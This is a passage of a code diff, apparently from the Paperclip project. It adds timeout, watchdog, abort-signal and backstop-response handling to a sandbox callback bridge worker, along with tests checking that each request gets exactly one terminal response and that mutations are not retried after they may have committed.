+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-write-backstop.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-write-backstop"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+    let writeAttempts = 0;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        writeAttempts += 1;
+        // Fail every `finalize` write attempt. The re-armed 504 backstop then
+        // writes on a later attempt.
+        if (writeAttempts <= 3) {
+          throw new Error("simulated persistent response write failure");
+        }
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 500,
+      watchdogTimeoutMs: 10_000,
+      // A short grace, so the re-armed backstop fires quickly.
+      abortedHandlerGraceMs: 30,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler settles with its own 200 response, a committed mutation.
+      handleRequest: async () => ({ status: 200, body: JSON.stringify({ ok: true }) }),
+    });
+
+    // The re-armed backstop writes the terminal 504 after the finalize writes fail.
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    // The backstop delivered a non-retryable 504 with an indeterminate outcome.
+    expect(requestResponses[0]?.status).toBe(504);
+    const parsed = JSON.parse(requestResponses[0]?.body ?? "{}");
+    const responseBody = JSON.parse(parsed.body);
+    expect(responseBody.outcome).toBe("indeterminate");
+    expect(responseBody.retryable).toBe(false);
+    expect(parsed.headers?.["x-paperclip-bridge-outcome"]).toBe("indeterminate");
+    // The finalize writes failed before the backstop wrote, so it took a later
+    // attempt.
+    expect(writeAttempts).toBeGreaterThanOrEqual(4);
+    // The bridge wrote no retryable status for the possibly-committed mutation.
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+    // The backstop removed the request file, so it does not strand in the queue.
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("retries a recovery 503 write that fails transiently, delivers the 503, and removes the request", async () => {
+    // The poll times out, so the recovery path aborts the queued request with a
+    // 503. The first 503 write fails, so the recovery must retry it inside the
+    // same pass. It then delivers the 503 and removes the request. The request is
+    // unclaimed, so its host mutation never ran; the 503 stays retry-safe.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-503-retry.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-503-retry"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+    let listCalls = 0;
+    let writeAttempts = 0;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      // The first poll never resolves — a silently unresponsive sandbox channel.
+      // The per-iteration timeout converts the hang into a caught error, so the
+      // loop `catch` runs the recovery path. Later listings resolve, so the
+      // recovery enumerates and aborts the request.
+      listJsonFiles: async (dir) => {
+        if (dir !== directories.requestsDir) {
+          return [];
+        }
+        listCalls += 1;
+        if (listCalls === 1) {
+          return await new Promise<string[]>(() => {});
+        }
+        return [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort();
+      },
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        writeAttempts += 1;
+        // The first recovery 503 write fails; the retry then succeeds.
+        if (writeAttempts === 1) {
+          throw new Error("simulated transient recovery 503 write failure");
+        }
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 200,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      handleRequest: async () => ({ status: 200, body: "ok" }),
+    });
+
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    // Exactly one response landed: the retry-safe 503. The retry delivered it
+    // after the transient failure.
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    expect(requestResponses[0]?.status).toBe(503);
+    expect(writeAttempts).toBeGreaterThanOrEqual(2);
+    // The recovery removed the request file only after the 503 write landed.
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("keeps the queued request when every recovery 503 write fails, so a later pass can still deliver a terminal 503", async () => {
+    // The poll times out, so the recovery path aborts the queued request with a
+    // 503. Every 503 write fails. The recovery must keep the request file instead
+    // of dropping it. Without the fix, the recovery removed the request before its
+    // single write attempt, so a failed write left no queue state; a later
+    // recovery pass found nothing and the caller waited until its own deadline.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-503-keep.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-503-keep"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+    let listCalls = 0;
+    let writeAttempts = 0;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) => {
+        if (dir !== directories.requestsDir) {
+          return [];
+        }
+        listCalls += 1;
+        if (listCalls === 1) {
+          return await new Promise<string[]>(() => {});
+        }
+        return [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort();
+      },
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async () => {
+        writeAttempts += 1;
+        // Fail every recovery 503 write attempt.
+        throw new Error("simulated persistent recovery 503 write failure");
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 200,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      handleRequest: async () => ({ status: 200, body: "ok" }),
+    });
+
+    // Wait until the recovery pass has exhausted its bounded 503 write attempts
+    // (three, the same bound as the finalize and 504 backstop writes).
+    await waitFor(() => writeAttempts >= 3, 3_000);
+
+    // The recovery could not write the 503, so it kept the request file. The
+    // request still sits in the queue for a later recovery pass to deliver a
+    // terminal 503. A drop here would strand the caller until its own deadline.
+    expect(requestRemovals).not.toContain(requestPath);
+    expect(requestBodies.has(requestPath)).toBe(true);
+    // No response landed, because every write failed. The recovery wrote no
+    // partial or retryable status for the possibly-committed mutation.
+    expect(responseWrites).toHaveLength(0);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("maps an indeterminate host outcome to a non-retryable 409 in the in-sandbox bridge server", () => {
+    // The in-sandbox server returns the host response to the sandbox caller. A 5xx
+    // status is retryable by convention, so the server must not forward the
+    // indeterminate 504 as a retry-safe status. It maps the indeterminate outcome
+    // to a non-retryable 409, so a caller that retries 5xx does not repeat a
+    // possibly-committed mutation. The outcome header and body still forward, so a
+    // caller that reads them still sees the indeterminate result.
+    const source = getSandboxCallbackBridgeServerSource();
+    expect(source).toContain("x-paperclip-bridge-outcome");
+    expect(source).toContain('=== "indeterminate"');
+    expect(source).toContain("res.statusCode = 409");
+  });
+
+  it("abandons a request before its handler starts, so the mutation never runs", async () => {
+    // Prove the reverse race. When the recovery path claims a request before the
+    // handler starts its host operation, the handler must bail without running
+    // the mutation. A retry after the 503 then applies the mutation once.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-early.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-early"));
+    const responseWrites: Array<{ path: string; status: number }> = [];
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+
+    // The authorize step stays pending until the test releases it, so the handler
+    // does not start before the per-iteration timeout fires and the recovery path
+    // claims the request.
+    const authorizeControl: { release: (() => void) | null } = { release: null };
+    let handlerCalls = 0;
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: () =>
+        new Promise<string | null>((resolve) => {
+          authorizeControl.release = () => resolve(null);
+        }),
+      handleRequest: async () => {
+        handlerCalls += 1;
+        return { status: 200, body: "req-early" };
+      },
+    });
+
+    // Wait until the recovery path wrote the 503 and the authorize step is
+    // pending.
+    await waitFor(
+      () => responseWrites.some((write) => write.status === 503) && authorizeControl.release !== null,
+      3_000,
+    );
+    expect(responseWrites.some((write) => write.path === responsePath && write.status === 503)).toBe(true);
+
+    // Release authorize after the 503. The handler must bail at its claim.
+    authorizeControl.release?.();
+    await new Promise((resolve) => setTimeout(resolve, 50));
+
+    // The handler never ran, so the mutation never applied.
+    expect(handlerCalls).toBe(0);
+    // No competing 200 landed over the 503.
+    expect(responseWrites.some((write) => write.path === responsePath && write.status === 200)).toBe(false);
+    expect(workerErrors.some((message) => message.includes("timed out"))).toBe(true);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("trips the watchdog on a stalled poll, writes a 503, and surfaces a run-level error", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-bridge-watchdog-"));
+    cleanupDirs.push(rootDir);
+
+    const queueDir = path.posix.join(rootDir, "queue");
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    await mkdir(directories.requestsDir, { recursive: true });
+    await writeFile(path.posix.join(directories.requestsDir, "req-w.json"), bridgeRequestJson("req-w"), "utf8");
+
+    const base = createFileSystemSandboxCallbackBridgeQueueClient();
+    let listCalls = 0;
+    const client: SandboxCallbackBridgeQueueClient = {
+      ...base,
+      listJsonFiles: async (dir) => {
+        listCalls += 1;
+        // The first poll (the loop) never resolves — a stalled channel that the
+        // per-iteration timeout does not catch soon enough. Later calls (the
+        // watchdog's failPendingRequests) resolve, so it enumerates and 503s.
+        if (listCalls === 1) {
+          return await new Promise<string[]>(() => {});
+        }
+        return await base.listJsonFiles(dir);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      // The per-iteration timeout is far larger than the watchdog threshold, so
+      // the watchdog — not the per-iteration timeout — is the mechanism proven.
+      iterationTimeoutMs: 400,
+      watchdogTimeoutMs: 50,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      handleRequest: async () => ({ status: 200, body: "ok" }),
+    });
+
+    const responseFile = await waitForJsonFile(directories.responsesDir, 3_000);
+    const responseBody = await readFile(path.posix.join(directories.responsesDir, responseFile), "utf8");
+    expect(JSON.parse(responseBody).status).toBe(503);
+    expect(workerErrors.some((message) => message.includes("no successful poll iteration"))).toBe(true);
+
+    await worker.stop({ drainTimeoutMs: 400 });
+  });
+
+  it("processes a fast request with no false-positive timeout and no run-level error", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-bridge-fast-"));
+    cleanupDirs.push(rootDir);
+
+    const queueDir = path.posix.join(rootDir, "queue");
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    await mkdir(directories.requestsDir, { recursive: true });
+    await writeFile(path.posix.join(directories.requestsDir, "req-ok.json"), bridgeRequestJson("req-ok"), "utf8");
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+    const processed: string[] = [];
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client: createFileSystemSandboxCallbackBridgeQueueClient(),
+      queueDir,
+      iterationTimeoutMs: 200,
+      watchdogTimeoutMs: 1_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      handleRequest: async (request) => {
+        processed.push(request.id);
+        return { status: 200, body: request.id };
+      },
+    });
+
+    const responseFile = await waitForJsonFile(directories.responsesDir, 3_000);
+    const responseBody = await readFile(path.posix.join(directories.responsesDir, responseFile), "utf8");
+    expect(JSON.parse(responseBody).status).toBe(200);
+    expect(JSON.parse(responseBody).body).toBe("req-ok");
+
+    // Let several idle poll iterations and watchdog checks pass. A healthy idle
+    // loop must never trip the watchdog and never surface a run-level error.
+    await new Promise((resolve) => setTimeout(resolve, 300));
+    expect(processed).toEqual(["req-ok"]);
+    expect(workerErrors).toEqual([]);
+
+    await worker.stop({ drainTimeoutMs: 50 });
+  });
 });
diff --git a/packages/adapter-utils/src/sandbox-callback-bridge.ts b/packages/adapter-utils/src/sandbox-callback-bridge.ts
index 9a373b869d3..2c28dfe6350 100644
--- a/packages/adapter-utils/src/sandbox-callback-bridge.ts
+++ b/packages/adapter-utils/src/sandbox-callback-bridge.ts
@@ -19,15 +19,74 @@ const DEFAULT_BRIDGE_RESPONSE_TIMEOUT_MS = 30_000;
 const DEFAULT_BRIDGE_STOP_TIMEOUT_MS = 2_000;
 const DEFAULT_BRIDGE_MAX_QUEUE_DEPTH = 64;
 const DEFAULT_BRIDGE_MAX_BODY_BYTES = 256 * 1024;
+// Per-iteration timeout for one poll-loop client call. A healthy control-plane
+// round trip finishes in well under one second, so 10s is far above a normal
+// iteration and never false-fires on a slow-but-live call. It is also well
+// under the in-sandbox 30s response deadline
+// (PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS), so the host loop fails fast and writes
+// 503 responses before the in-sandbox client gives up. A silently unresponsive
+// sandbox channel makes a client call hang with no reject; this timeout turns
+// that hang into a caught error, so the loop `catch` runs `failPendingRequests`.
+const DEFAULT_BRIDGE_ITERATION_TIMEOUT_MS = 10_000;
+// Watchdog backstop for a hang that the per-iteration timeout does not catch
+// (for example many slow-but-under-timeout calls, or a stall outside the awaited
+// calls). It is larger than one iteration timeout, so a single slow iteration
+// never trips it, and it stays under the in-sandbox 30s response deadline.
+const DEFAULT_BRIDGE_WATCHDOG_TIMEOUT_MS = 20_000;
+// Grace period the recovery path gives an aborted in-flight handler to finalize
+// its own response. The recovery path aborts the handler, then waits this long.
+// A cooperating handler threads the abort signal into its work, rejects, and
+// writes its own response inside the grace, so its accurate result wins. A
+// handler that ignores the signal and never settles does not write inside the
+// grace; the recovery path then writes a non-retryable 504 backstop, so the
+// request never strands with no response. The grace is well under the in-sandbox
+// 30s response deadline, so the backstop lands before the in-sandbox client
+// gives up.
+const DEFAULT_BRIDGE_ABORTED_HANDLER_GRACE_MS = 5_000;
+// The recovery path retries the 504 backstop write this many times before it
+// gives up. A single transient write failure, or one that exceeds the iteration
+// timeout, then does not strand the caller with no terminal response.
+const MAX_BACKSTOP_WRITE_ATTEMPTS = 3;
+// The delay between two 504 backstop write attempts. It is short, so all retries
+// finish well under the in-sandbox 30s response deadline.
+const BACKSTOP_WRITE_RETRY_MS = 50;
 const REMOTE_WRITE_BASE64_CHUNK_SIZE = 32 * 1024;
 const SANDBOX_CALLBACK_BRIDGE_ENTRYPOINT = "paperclip-bridge-server.mjs";
 const SANDBOX_EXEC_CHANNEL_ENV = "PAPERCLIP_SANDBOX_EXEC_CHANNEL";
 const SANDBOX_EXEC_CHANNEL_BRIDGE = "bridge";
 
+// The two bridge modes the generated gateway supports. The file mode polls a
+// request/response queue on disk. The duplex mode forwards one request frame to
+// stdout and resolves one response frame from stdin. The generated `.mjs`
+// selects the mode from `PAPERCLIP_API_BRIDGE_MODE`.
+const SANDBOX_CALLBACK_BRIDGE_FILE_MODE = "queue_v1";
+const SANDBOX_CALLBACK_BRIDGE_DUPLEX_MODE = "duplex_v1";
+
+// The duplex gateway HTTP wait budget default. The gateway waits this long for a
+// response frame before it answers the local caller with a 502 timeout. The
+// value stays configurable through `PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS`, the
+// same environment key the file mode reads.
+const DEFAULT_DUPLEX_GATEWAY_WAIT_BUDGET_MS = 35_000;
+// How often the duplex gateway writes a heartbeat frame to stdout.
+const DEFAULT_DUPLEX_GATEWAY_HEARTBEAT_INTERVAL_MS = 5_000;
+// The duplex gateway treats the channel as lost when no inbound frame arrives on
+// stdin within this window.
+const DEFAULT_DUPLEX_GATEWAY_HEARTBEAT_TIMEOUT_MS = 20_000;
+// After a loss, the duplex gateway answers each new local request with a 503,
+// then exits when this grace ends. The grace gives the local caller time to read
+// the 409 for an outstanding request and a 503 for a new request.
+const DEFAULT_DUPLEX_GATEWAY_LOSS_EXIT_GRACE_MS = 1_000;
+
 /** Span name that wraps one Paperclip-API callback request — read the request,
  * write the response, and remove the request file. */
 const CALLBACK_BRIDGE_RELAY_REQUEST_SPAN = "sandbox.callbackBridge.relayRequest";
 
+/** Span name for a failed or hung bridge worker. The worker runs a throwing
+ * function under this span through `input.runtimeSpan`, so the failure lands in
+ * the run trace. The run and the orchestrator then see the hang, not only
+ * stdout. */
+const CALLBACK_BRIDGE_WORKER_FAILED_SPAN = "sandbox.callbackBridge.workerFailed";
+
 export const DEFAULT_SANDBOX_CALLBACK_BRIDGE_MAX_BODY_BYTES = DEFAULT_BRIDGE_MAX_BODY_BYTES;
 
 export interface SandboxCallbackBridgeRouteRule {
@@ -90,6 +149,18 @@ export const DEFAULT_SANDBOX_CALLBACK_BRIDGE_ROUTE_ALLOWLIST: readonly SandboxCa
   // Subtasks / delegation
   { method: "POST", path: /^\/api\/companies\/[^/]+\/issues$/ },
 
+  // Hiring (paperclip-create-agent skill): adapter/icon discovery, comparing
+  // existing agent configs, submitting the hire request, and linking the
+  // resulting approval to its source issue. Direct agent creation
+  // (POST /api/companies/:id/agents) stays denied — hires must go through the
+  // approval-gated agent-hires endpoint, which the server still permission-checks.
+  { method: "GET", path: /^\/llms\/agent-configuration\.txt$/ },
+  { method: "GET", path: /^\/llms\/agent-configuration\/[^/]+\.txt$/ },
+  { method: "GET", path: /^\/llms\/agent-icons\.txt$/ },
+  { method: "GET", path: /^\/api\/companies\/[^/]+\/agent-configurations$/ },
+  { method: "POST", path: /^\/api\/companies\/[^/]+\/agent-hires$/ },
+  { method: "POST", path: /^\/api\/issues\/[^/]+\/approvals$/ },
+
   // Approvals (request, read, comment)
   { method: "GET", path: /^\/api\/approvals\/[^/]+$/ },
   { method: "GET", path: /^\/api\/approvals\/[^/]+\/issues$/ },
@@ -203,6 +274,27 @@ function normalizeTimeoutMs(value: number | null | undefined, fallback: number):
   return typeof value === "number" && Number.isFinite(value) && value > 0 ? Math.trunc(value) : fallback;
 }
 
+/**
+ * Race a promise against a timeout. On timeout the returned promise rejects with
+ * a clear error. The helper clears the timer on every settle path, so it leaks
+ * no `setTimeout`. The wrapped promise is not cancelable; when it never settles,
+ * it keeps running in the background, but the caller already moved on through
+ * the reject.
+ */
+function withTimeout<T>(promise: Promise<T>, timeoutMs: number, label: string): Promise<T> {
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  const timeout = new Promise<never>((_resolve, reject) => {
+    timer = setTimeout(() => {
+      reject(new Error(`${label} timed out after ${timeoutMs}ms.`));
+    }, timeoutMs);
+  });
+  return Promise.race([promise, timeout]).finally(() => {
+    if (timer !== undefined) {
+      clearTimeout(timer);
+    }
+  });
+}
+
 function toBuffer(bytes: Buffer | Uint8Array | ArrayBuffer): Buffer {
   if (Buffer.isBuffer(bytes)) return bytes;
   if (bytes instanceof ArrayBuffer) return Buffer.from(bytes);
@@ -343,7 +435,7 @@ export function buildSandboxCallbackBridgeEnv(input: {
   maxBodyBytes?: number | null;
 }): Record<string, string> {
   return {
-    PAPERCLIP_API_BRIDGE_MODE: "queue_v1",
+    PAPERCLIP_API_BRIDGE_MODE: SANDBOX_CALLBACK_BRIDGE_FILE_MODE,
     PAPERCLIP_BRIDGE_QUEUE_DIR: input.queueDir,
     PAPERCLIP_BRIDGE_TOKEN: input.bridgeToken,
     PAPERCLIP_BRIDGE_HOST: input.host?.trim() || "127.0.0.1",
@@ -642,8 +734,30 @@ export async function startSandboxCallbackBridgeWorker(input: {
   client: SandboxCallbackBridgeQueueClient;
   queueDir: string;
   pollIntervalMs?: number | null;
+  // Per-iteration timeout for one poll-loop client call (the `listJsonFiles`
+  // poll and one `processRequestFile`). On timeout the loop `catch` runs
+  // `failPendingRequests`. Defaults to DEFAULT_BRIDGE_ITERATION_TIMEOUT_MS.
+  iterationTimeoutMs?: number | null;
+  // Watchdog threshold. When the loop makes no successful iteration within this
+  // time, the watchdog runs `failPendingRequests` and surfaces a run-level error
+  // through `runtimeSpan`. Defaults to DEFAULT_BRIDGE_WATCHDOG_TIMEOUT_MS.
+  watchdogTimeoutMs?: number | null;
+  // Grace the recovery path gives an aborted in-flight handler to finalize its
+  // own response before the recovery path writes a non-retryable 504 backstop.
+  // Defaults to DEFAULT_BRIDGE_ABORTED_HANDLER_GRACE_MS.
+  abortedHandlerGraceMs?: number | null;
   authorizeRequest?: (request: SandboxCallbackBridgeRequest) => string | null | Promise<string | null>;
-  handleRequest: (request: SandboxCallbackBridgeRequest) => Promise<{
+  // Handle one bridge request. The worker passes an `AbortSignal` through
+  // `options.signal`. The per-iteration timeout, the watchdog, and worker
+  // failure recovery abort it, so a handler that threads the signal into its
+  // work (for example a `fetch`) stops and rejects instead of running forever.
+  // The handler then finalizes with its own error response, so the request does
+  // not strand with no response. A handler that ignores the signal keeps its
+  // earlier behavior.
+  handleRequest: (
+    request: SandboxCallbackBridgeRequest,
+    options?: { signal: AbortSignal },
+  ) => Promise<{
     status: number;
     headers?: Record<string, string>;
     body?: string;
@@ -663,6 +777,12 @@ export async function startSandboxCallbackBridgeWorker(input: {
   runtimeSpan?: RuntimeSpanRunner;
 }): Promise<SandboxCallbackBridgeWorkerHandle> {
   const pollIntervalMs = normalizeTimeoutMs(input.pollIntervalMs, DEFAULT_BRIDGE_POLL_INTERVAL_MS);
+  const iterationTimeoutMs = normalizeTimeoutMs(input.iterationTimeoutMs, DEFAULT_BRIDGE_ITERATION_TIMEOUT_MS);
+  const watchdogTimeoutMs = normalizeTimeoutMs(input.watchdogTimeoutMs, DEFAULT_BRIDGE_WATCHDOG_TIMEOUT_MS);
+  const abortedHandlerGraceMs = normalizeTimeoutMs(
+    input.abortedHandlerGraceMs,
+    DEFAULT_BRIDGE_ABORTED_HANDLER_GRACE_MS,
+  );
   const maxBodyBytes = normalizeTimeoutMs(input.maxBodyBytes, DEFAULT_BRIDGE_MAX_BODY_BYTES);
   const directories = sandboxCallbackBridgeDirectories(input.queueDir);
   const queueDirectories = [
@@ -694,96 +814,519 @@ export async function startSandboxCallbackBridgeWorker(input: {
   const buildWorkerFailureMessage = (error: unknown) =>
     `Sandbox callback bridge worker failed: ${error instanceof Error ? error.message : String(error)}`;
 
+  // Per-attempt finalization guard. Each `processRequestFile` call registers one,
+  // keyed by the request file name. The guard is the completion fence between the
+  // request handler and the per-iteration timeout or watchdog recovery. Node runs
+  // one event loop, so a synchronous check-and-set of `claim` is atomic. The
+  // first path to move `claim` off `unclaimed` wins.
+  //
+  // The `claim` value has three states:
+  // - `unclaimed`: no path owns the request yet.
+  // - `handler`: the request handler owns finalization. It set this before it
+  //   started the host operation, or when it wrote a 400/403/response. It will
+  //   write the real response.
+  // - `abandon`: the recovery path owns the request. It writes a 503.
+  //
+  // The recovery path must never write a 503 for a request whose handler already
+  // started. The per-iteration timeout and the watchdog cannot cancel a host
+  // operation that is in flight. A 503 there makes the caller retry while the
+  // original mutation still completes, so the mutation applies twice. So the
+  // recovery path abandons only a request that the handler did not yet claim; the
+  // handler, when it later reaches the host-operation claim, sees the abandon and
+  // does not run the mutation. This keeps a retry after the 503 exactly-once.
+  //
+  // Each guard also holds an `AbortController`. The recovery path aborts it, so a
+  // handler that already started (claim `handler`) stops its work and finalizes
+  // with its own error response. The abort turns a stranded request into a prompt
+  // error response for a handler that threads the signal into its work.
+  //
+  // A worker abort reaches the handler only after the host operation started, so
+  // the mutation may have committed. The bridge cannot cancel a host operation
+  // that is in flight. So the handler finalizes a worker-aborted request with a
+  // non-retryable 504, not a retryable 502. The caller must not retry a 504, so
+  // it never re-applies a mutation that already committed. A retry-safe 503 comes
+  // only from the recovery path, and only before the host operation starts.
+  //
+  // A handler that ignores the abort signal and never settles would still keep
+  // the request without a response, because the recovery path must not write a
+  // competing 503 for an in-flight mutation. So the recovery path also arms a
+  // backstop timer for each handler-owned request. It aborts the handler, then
+  // waits `abortedHandlerGraceMs`. A cooperating handler finalizes inside the
+  // grace, so its own response wins and `finalize` clears the timer. A handler
+  // that never settles does not finalize inside the grace; the timer then writes
+  // a non-retryable 504 backstop, so the request never strands. The backstop is
+  // non-retryable for the same reason the handler's own 504 is: the recovery
+  // cannot cancel a committed mutation, so the caller must not retry.
+  //
+  // The `finalized` flag is the single-writer fence between the handler's own
+  // `finalize` and the backstop timer. Node runs one event loop, so the
+  // synchronous check-and-set is atomic. The first path to set it writes the
+  // terminal response; the other bails.
+  type RequestFinalizeGuard = {
+    claim: "unclaimed" | "handler" | "abandon";
+    controller: AbortController;
+    finalized: boolean;
+    backstopTimer?: ReturnType<typeof setTimeout>;
+  };
+  const inFlightRequestGuards = new Map<string, RequestFinalizeGuard>();
+
   const processRequestFile = async (fileName: string) => {
+    // Skip a request that already has an active attempt. The guard map holds only
+    // in-flight attempts; the attempt's finally removes its guard when it ends. A
+    // file that still has a guard is in flight, or it waits for its aborted-handler
+    // 504 backstop. A second attempt would register a new guard and re-run the host
+    // mutation, so the mutation could apply twice.
+    if (inFlightRequestGuards.has(fileName)) {
+      return;
+    }
     const requestPath = path.posix.join(directories.requestsDir, fileName);
     const responsePath = path.posix.join(directories.responsesDir, fileName);
-    const raw = await input.client.readTextFile(requestPath);
-    let request: SandboxCallbackBridgeRequest;
-    try {
-      request = JSON.parse(raw) as SandboxCallbackBridgeRequest;
-    } catch {
-      const requestId = fileName.replace(/\.json$/i, "") || randomUUID();
-      await writeBridgeResponse(input.client, requestPath, responsePath, {
-        id: requestId,
-        status: 400,
-        headers: { "content-type": "application/json" },
-        body: JSON.stringify({ error: "Invalid bridge request payload." }),
